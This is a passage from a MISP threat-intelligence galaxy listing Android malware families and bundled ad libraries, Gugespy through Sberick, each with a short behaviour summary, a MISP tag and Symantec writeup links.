Gugespy is a spyware program for Android devices that logs the device's activity and sends it to a predetermined email address.

The tag is: *misp-galaxy:android="Gugespy"*

Table 238. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071822-2515-99

Gugespy.B

Gugespy.B is a spyware program for Android devices that monitors and sends certain information to a remote location.

The tag is: *misp-galaxy:android="Gugespy.B"*

Table 239. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-070511-5038-99

Gupno

Gupno is a Trojan horse for Android devices that poses as a legitimate app and attempts to charge users for features that are normally free. It may also display advertisements on the compromised device.

The tag is: *misp-galaxy:android="Gupno"*

Table 240. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-072211-5533-99

Habey

Habey is a Trojan horse for Android devices that may attempt to delete files and send SMS messages from the compromised device.

The tag is: *misp-galaxy:android="Habey"*

Table 241. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-100608-4512-99

Handyclient

Handyclient is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Handyclient"*

Table 242. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040307-5027-99

Hehe

Hehe is a Trojan horse for Android devices that blocks incoming calls and SMS messages from specific numbers. The Trojan also steals information from the compromised device.

The tag is: *misp-galaxy:android="Hehe"*

Table 243. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-012211-0020-99

Hesperbot

Hesperbot is a Trojan horse for Android devices that opens a back door on the compromised device and may steal information.

The tag is: *misp-galaxy:android="Hesperbot"*

Table 244. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121010-1120-99

Hippo

Hippo is a Trojan horse that sends SMS messages to premium-rate phone numbers.

The tag is: *misp-galaxy:android="Hippo"*

Table 245. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071215-3547-99

Hippo.B

Hippo.B is a Trojan horse that sends SMS messages to premium-rate phone numbers.

The tag is: *misp-galaxy:android="Hippo.B"*

Table 246. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031915-0151-99

IadPush

IadPush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="IadPush"*

Table 247. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040315-4104-99

iBanking

iBanking is a Trojan horse for Android devices that opens a back door on the compromised device

and may steal information.

The tag is: *misp-galaxy:android="iBanking"*

Table 248. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030713-0559-99

Iconosis

Iconosis is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Iconosis"*

Table 249. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062107-3327-99

Iconosys

Iconosys is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Iconosys"*

Table 250. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081309-0341-99

Igexin

Igexin is an advertisement library that is bundled with certain Android applications. Igexin has the capability of spying on victims through otherwise benign apps by downloading malicious plugins,

The tag is: *misp-galaxy:android="Igexin"*

Igexin is also known as:

- IcicleGum

View relationships graph

Igexin has relationships with:

- similar: misp-galaxy:android="IcicleGum" with estimative-language:likelihood-probability="likely"

Table 251. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-032606-5519-99
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf
https://blog.lookout.com/igexin-malicious-sdk

ImAdPush

ImAdPush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="ImAdPush"*

Table 252. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040323-0218-99

InMobi

InMobi is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="InMobi"*

Table 253. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052713-1527-99

Jifake

Jifake is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers.

The tag is: *misp-galaxy:android="Jifake"*

Table 254. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-073021-4247-99

Jollyserv

Jollyserv is a Trojan horse for Android devices that sends SMS messages and steals information from the compromised device.

The tag is: *misp-galaxy:android="Jollyserv"*

Table 255. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-090311-4533-99

Jsmshider

Jsmshider is a Trojan horse that opens a back door on Android devices.

The tag is: *misp-galaxy:android="Jsmshider"*

Table 256. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-062114-0857-99

Ju6

Ju6 is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Ju6"*

Table 257. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-2428-99

Jumptap

Jumptap is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Jumptap"*

Table 258. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052713-0859-99

Jzmob

Jzmob is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Jzmob"*

Table 259. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-1703-99

Kabstamper

Kabstamper is a Trojan horse for Android devices that corrupts images found on the compromised device.

The tag is: *misp-galaxy:android="Kabstamper"*

Table 260. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-060706-2305-99

Kidlogger

Kidlogger is a Spyware application for Android devices that logs the device's activity and sends it to a predetermined website.

The tag is: *misp-galaxy:android="Kidlogger"*

Table 261. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-122014-1927-99

Kielog

Kielog is a Trojan horse for Android devices that logs keystrokes and sends the stolen information to the remote attacker.

The tag is: *misp-galaxy:android="Kielog"*

Table 262. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040205-4035-99

Kituri

Kituri is a Trojan horse for Android devices that blocks certain SMS messages from being received by the device. It may also send SMS messages to a premium-rate number.

The tag is: *misp-galaxy:android="Kituri"*

Table 263. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-061111-5350-99

Kranxpay

Kranxpay is a Trojan horse for Android devices that downloads other apps onto the device.

The tag is: *misp-galaxy:android="Kranxpay"*

Table 264. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071009-0809-99

Krysanec

Krysanec is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Krysanec"*

Table 265. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-090113-4128-99

Kuaidian360

Kuaidian360 is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Kuaidian360"*

Table 266. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040109-2415-99

Kuguo

Kuguo is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Kuguo"*

Table 267. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040315-5215-99

Lastacloud

Lastacloud is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Lastacloud"*

Table 268. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121216-4334-99

Laucassspy

Laucassspy is a spyware program for Android devices that steals information and sends it to a remote location.

The tag is: *misp-galaxy:android="Laucassspy"*

Table 269. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-092409-1822-99

Lifemonspy

Lifemonspy is a spyware application for Android devices that can track the phone's location, download SMS messages, and erase certain data from the device.

The tag is: *misp-galaxy:android="Lifemonspy"*

Table 270. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111516-5540-99

Lightdd

Lightdd is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Lightdd"*

Table 271. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-053114-2342-99

Loaderpush

Loaderpush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Loaderpush"*

Table 272. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040108-0244-99

Locaspy

Locaspy is a Potentially Unwanted Application for Android devices that tracks the location of the compromised device.

The tag is: *misp-galaxy:android="Locaspy"*

Table 273. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030720-3500-99

Lockdroid.E

Lockdroid.E is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device.

The tag is: *misp-galaxy:android="Lockdroid.E"*

Table 274. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-103005-2209-99

Lockdroid.F

Lockdroid.F is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device.

The tag is: *misp-galaxy:android="Lockdroid.F"*

Table 275. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-102215-4346-99

Lockdroid.G

Lockdroid.G is a Trojan horse for Android devices that may display a ransom demand on the compromised device.

The tag is: *misp-galaxy:android="Lockdroid.G"*

Table 276. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-050610-2450-99

Lockdroid.H

Lockdroid.H is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device.

The tag is: *misp-galaxy:android="Lockdroid.H"*

Table 277. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2016-031621-1349-99

Lockscreen

Lockscreen is a Trojan horse for Android devices that locks the compromised device from use.

The tag is: *misp-galaxy:android="Lockscreen"*

Table 278. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-032409-0743-99

LogiaAd

LogiaAd is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="LogiaAd"*

Table 279. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052713-0348-99

Loicdos

Loicdos is an Android application that provides an interface to a website in order to perform a denial of service (DoS) attack against a computer.

The tag is: *misp-galaxy:android="Loicdos"*

Table 280. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022002-2431-99

Loozfon

Loozfon is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Loozfon"*

Table 281. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-082005-5451-99

Lotoor

Lotoor is a generic detection for hack tools that exploit vulnerabilities in order to gain root privileges on compromised Android devices.

The tag is: *misp-galaxy:android="Lotoor"*

Table 282. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091922-4449-99

Lovespy

Lovespy is a Trojan horse for Android devices that steals information from the device.

The tag is: *misp-galaxy:android="Lovespy"*

Table 283. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071814-3805-99

Lovetrap

Lovetrap is a Trojan horse that sends SMS messages to premium-rate phone numbers.

The tag is: *misp-galaxy:android="Lovetrap"*

Table 284. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-072806-2905-99

Luckycat

Luckycat is a Trojan horse for Android devices that opens a back door and steals information on the compromised device.

The tag is: *misp-galaxy:android="Luckycat"*

Table 285. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080617-5343-99

Machinleak

Machinleak is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Machinleak"*

Table 286. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-120311-2440-99

Maistealer

Maistealer is a Trojan that steals information from Android devices.

The tag is: *misp-galaxy:android="Maistealer"*

Table 287. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-072411-4350-99

Malapp

Malapp is a generic detection for many individual but varied threats on Android devices that share similar characteristics.

The tag is: *misp-galaxy:android="Malapp"*

Table 288. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-073014-3354-99

Malebook

Malebook is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Malebook"*

Table 289. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071206-3403-99

Malhome

Malhome is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Malhome"*

Table 290. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071118-0441-99

Malminer

Malminer is a Trojan horse for Android devices that mines cryptocurrencies on the compromised device.

The tag is: *misp-galaxy:android="Malminer"*

Table 291. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032712-3709-99

Mania

Mania is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.

The tag is: *misp-galaxy:android="Mania"*

Table 292. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070623-1520-99

Maxit

Maxit is a Trojan horse for Android devices that opens a back door on the compromised device. It also steals certain information and uploads it to a remote location.

The tag is: *misp-galaxy:android="Maxit"*

Table 293. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-120411-2511-99

MdotM

MdotM is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="MdotM"*

Table 294. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-5824-99

Medialets

Medialets is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Medialets"*

Table 295. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-5222-99

Meshidden

Meshidden is a spyware application for Android devices that allows the device it is installed on to be monitored.

The tag is: *misp-galaxy:android="Meshidden"*

Table 296. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031913-5257-99

Mesploit

Mesploit is a tool for Android devices used to create applications that exploit the Android Fake ID vulnerability.

The tag is: *misp-galaxy:android="Mesploit"*

Table 297. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-032014-2847-99

Mesprank

Mesprank is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Mesprank"*

Table 298. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030717-1933-99

Meswatcherbox

Meswatcherbox is a spyware application for Android devices that forwards SMS messages without the user knowing.

The tag is: *misp-galaxy:android="Meswatcherbox"*

Table 299. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111612-2736-99

Miji

Miji is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Miji"*

Table 300. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-4720-99

Milipnot

Milipnot is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Milipnot"*

Table 301. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-070414-0941-99

MillennialMedia

MillennialMedia is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="MillennialMedia"*

Table 302. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-4602-99

Mitcad

Mitcad is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Mitcad"*

Table 303. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040212-0528-99

MobClix

MobClix is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="MobClix"*

Table 304. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-4011-99

MobFox

MobFox is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="MobFox"*

Table 305. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-3050-99

Mobidisplay

Mobidisplay is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Mobidisplay"*

Table 306. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-0435-99

Mobigapp

Mobigapp is a Trojan horse for Android devices that downloads applications disguised as system updates.

The tag is: *misp-galaxy:android="Mobigapp"*

Table 307. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062520-5802-99

MobileBackup

MobileBackup is a spyware application for Android devices that monitors the affected device.

The tag is: *misp-galaxy:android="MobileBackup"*

Table 308. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031020-0040-99

Mobilespy

Mobilespy is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Mobilespy"*

Table 309. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071512-0653-99

Mobiletx

Mobiletx is a Trojan horse for Android devices that steals information from the compromised device. It may also send SMS messages to a premium-rate number.

The tag is: *misp-galaxy:android="Mobiletx"*

Table 310. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-052807-4439-99

Mobinaspy

Mobinaspy is a spyware application for Android devices that can track the device's location.

The tag is: *misp-galaxy:android="Mobinaspy"*

Table 311. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111516-0511-99

Mobus

Mobus is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Mobus"*

Table 312. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-2006-99

MobWin

MobWin is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="MobWin"*

Table 313. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-1522-99

Mocore

Mocore is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Mocore"*

Table 314. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-092112-4603-99

Moghava

Moghava is a Trojan horse for Android devices that modifies images that are stored on the device.

The tag is: *misp-galaxy:android="Moghava"*

Table 315. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022712-2822-99

Momark

Momark is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Momark"*

Table 316. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040113-5529-99

Monitorello

Monitorello is a spyware application for Android devices that allows the device it is installed on to be monitored.

The tag is: *misp-galaxy:android="Monitorello"*

Table 317. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031914-4737-99

Moolah

Moolah is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Moolah"*

Table 318. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-1007-99

MoPub

MoPub is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="MoPub"*

Table 319. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-2456-99

Morepaks

Morepaks is a Trojan horse for Android devices that downloads remote files and may display advertisements on the compromised device.

The tag is: *misp-galaxy:android="Morepaks"*

Table 320. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071204-1130-99

Nandrobox

Nandrobox is a Trojan horse for Android devices that steals information from the compromised device. It also deletes certain SMS messages from the device.

The tag is: *misp-galaxy:android="Nandrobox"*

Table 321. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070212-2132-99

Netisend

Netisend is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Netisend"*

Table 322. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-080207-1139-99

Nickispy

Nickispy is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Nickispy"*

Table 323. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-072714-3613-99

Notcompatible

Notcompatible is a Trojan horse for Android devices that acts as a proxy.

The tag is: *misp-galaxy:android="Notcompatible"*

Table 324. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-050307-2712-99

Nuhaz

Nuhaz is a Trojan horse for Android devices that may intercept text messages on the compromised device.

The tag is: *misp-galaxy:android="Nuhaz"*

Table 325. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031814-3416-99

Nyearleaker

Nyearleaker is a Trojan horse program for Android devices that steals information.

The tag is: *misp-galaxy:android="Nyearleaker"*

Table 326. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-010514-0844-99

Obad

Obad is a Trojan horse for Android devices that opens a back door, steals information, and downloads files. It also sends SMS messages to premium-rate numbers and spreads malware to Bluetooth-enabled devices.

The tag is: *misp-galaxy:android="Obad"*

Table 327. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-060411-4146-99

Oneclickfraud

Oneclickfraud is a Trojan horse for Android devices that attempts to coerce a user into paying for a pornographic service.

The tag is: *misp-galaxy:android="Oneclickfraud"*

Table 328. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011205-4412-99

Opfake

Opfake is a detection for Trojan horses on the Android platform that send SMS texts to premium-rate numbers.

The tag is: *misp-galaxy:android="Opfake"*

Table 329. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-012709-2732-99

Opfake.B

Opfake.B is a Trojan horse for the Android platform that may receive commands from a remote attacker to perform various functions.

The tag is: *misp-galaxy:android="Opfake.B"*

Table 330. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022406-1309-99

Ozotshielder

Ozotshielder is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Ozotshielder"*

Table 331. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-091505-3230-99

Pafloat

Pafloat is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Pafloat"*

Table 332. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040215-2015-99

PandaAds

PandaAds is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="PandaAds"*

Table 333. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-1959-99

Pandbot

Pandbot is a Trojan horse for Android devices that may download more files onto the device.

The tag is: *misp-galaxy:android="Pandbot"*

Table 334. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071215-1454-99

Pdaspy

Pdaspy is a spyware application for Android devices that periodically gathers information from the device and uploads it to a predetermined location.

The tag is: *misp-galaxy:android="Pdaspy"*

Table 335. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111612-0749-99

Penetho

Penetho is a hacktool for Android devices that can be used to crack the WiFi password of the router that the device is using.

The tag is: *misp-galaxy:android="Penetho"*

Table 336. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-100110-3614-99

Perkel

Perkel is a Trojan horse for Android devices that may steal information from the compromised device.

The tag is: *misp-galaxy:android="Perkel"*

Table 337. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-082811-4213-99

Phimdropper

Phimdropper is a Trojan horse for Android devices that sends and intercepts incoming SMS messages.

The tag is: *misp-galaxy:android="Phimdropper"*

Table 338. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-021002-2943-99

Phospy

Phospy is a Trojan horse for Android devices that steals confidential information from the compromised device.

The tag is: *misp-galaxy:android="Phospy"*

Table 339. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-060706-4803-99

Piddialer

Piddialer is a Trojan horse for Android devices that dials premium-rate numbers from the compromised device.

The tag is: *misp-galaxy:android="Piddialer"*

Table 340. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-111020-2247-99

Pikspam

Pikspam is a Trojan horse for Android devices that sends spam SMS messages from the compromised device.

The tag is: *misp-galaxy:android="Pikspam"*

Table 341. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-121815-0336-99

Pincer

Pincer is a Trojan horse for Android devices that steals confidential information and opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Pincer"*

Table 342. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-052307-3530-99

Pirator

Pirator is a Trojan horse on the Android platform that downloads files and steals potentially confidential information from the compromised device.

The tag is: *misp-galaxy:android="Pirator"*

Table 343. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-021609-5740-99

Pjapps

Pjapps is a Trojan horse that has been embedded on third party applications and opens a back door on the compromised device. It retrieves commands from a remote command and control server.

The tag is: *misp-galaxy:android="Pjapps"*

Table 344. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-022303-3344-99

Pjapps.B

Pjapps.B is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Pjapps.B"*

Table 345. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032014-1624-99

Pletora

Pletora is a is a Trojan horse for Android devices that may lock the compromised device. It then asks the user to pay in order to unlock the device.

The tag is: *misp-galaxy:android="Pletora"*

Table 346. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-061217-4345-99

Poisoncake

Poisoncake is a Trojan horse for Android devices that opens a back door on the compromised device. It may also download potentially malicious files and steal information.

The tag is: *misp-galaxy:android="Poisoncake"*

Table 347. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-010610-0726-99

Pontiflex

Pontiflex is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Pontiflex"*

Table 348. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052618-0946-99

Positmob

Positmob is a Trojan horse program for Android devices that sends SMS messages to premium rate phone numbers.

The tag is: *misp-galaxy:android="Positmob"*

Table 349. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111409-1556-99

Premiumtext

Premiumtext is a detection for Trojan horses on the Android platform that send SMS texts to premium-rate numbers. These Trojans will often be repackaged versions of genuine Android software packages, often distributed outside the Android Marketplace.

The tag is: *misp-galaxy:android="Premiumtext"*

Table 350. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-080213-5308-99

Pris

Pris is a Trojan horse for Android devices that silently downloads a malicious application and attempts to open a back door on the compromised device.

The tag is: *misp-galaxy:android="Pris"*

Table 351. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-061820-5638-99

Qdplugin

Qdplugin is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Qdplugin"*

Table 352. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-102510-3330-99

Qicsomos

Qicsomos is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.

The tag is: *misp-galaxy:android="Qicsomos"*

Table 353. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011007-2223-99

Qitmo

Qitmo is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Qitmo"*

Table 354. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030716-4923-99

Rabbhome

Rabbhome is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Rabbhome"*

Table 355. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-053007-3750-99

Repane

Repane is a Trojan horse for Android devices that steals information and sends SMS messages from the compromised device.

The tag is: *misp-galaxy:android="Repane"*

Table 356. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-090411-5052-99

Reputation.1

Reputation.1 is a detection for Android files based on analysis performed by Norton Mobile Insight.

The tag is: *misp-galaxy:android="Reputation.1"*

Table 357. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-022612-2619-99

Reputation.2

Reputation.2 is a detection for Android files based on analysis performed by Norton Mobile Insight.

The tag is: *misp-galaxy:android="Reputation.2"*

Table 358. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-022613-2629-99

Reputation.3

Reputation.3 is a detection for Android files based on analysis performed by Norton Mobile Insight.

The tag is: *misp-galaxy:android="Reputation.3"*

Table 359. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-022613-3126-99

RevMob

RevMob is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="RevMob"*

Table 360. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040308-0502-99

Roidsec

Roidsec is a Trojan horse for Android devices that steals confidential information.

The tag is: *misp-galaxy:android="Roidsec"*

Table 361. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-052022-1227-99

Rootcager

Rootcager is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Rootcager"*

Table 362. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-030212-1438-99

Rootnik

Rootnik is a Trojan horse for Android devices that steals information and downloads additional apps.

The tag is: *misp-galaxy:android="Rootnik"*

View relationships graph

Rootnik has relationships with:

- similar: misp-galaxy:malpedia="Rootnik" with estimative-language:likelihood-probability="likely"

Table 363. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2016-062710-0328-99

Rufraud

Rufraud is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers.

The tag is: *misp-galaxy:android="Rufraud"*

Table 364. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-121306-2304-99

Rusms

Rusms is a Trojan horse for Android devices that sends SMS messages and steals information from the compromised device.

The tag is: *misp-galaxy:android="Rusms"*

Table 365. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-061711-5009-99

Samsapo

Samsapo is a worm for Android devices that spreads by sending SMS messages to all contacts stored on the compromised device. It also opens a back door and downloads files.

The tag is: *misp-galaxy:android="Samsapo"*

Table 366. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-050111-1908-99

Sandorat

Sandorat is a Trojan horse for Android devices that opens a back door on the compromised device. It also steals information.

The tag is: *misp-galaxy:android="Sandorat"*

Table 367. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2014-110720-2146-99

Sberick

Sberick is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Sberick"*

Table 368. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071014-2146-99

Scartibro

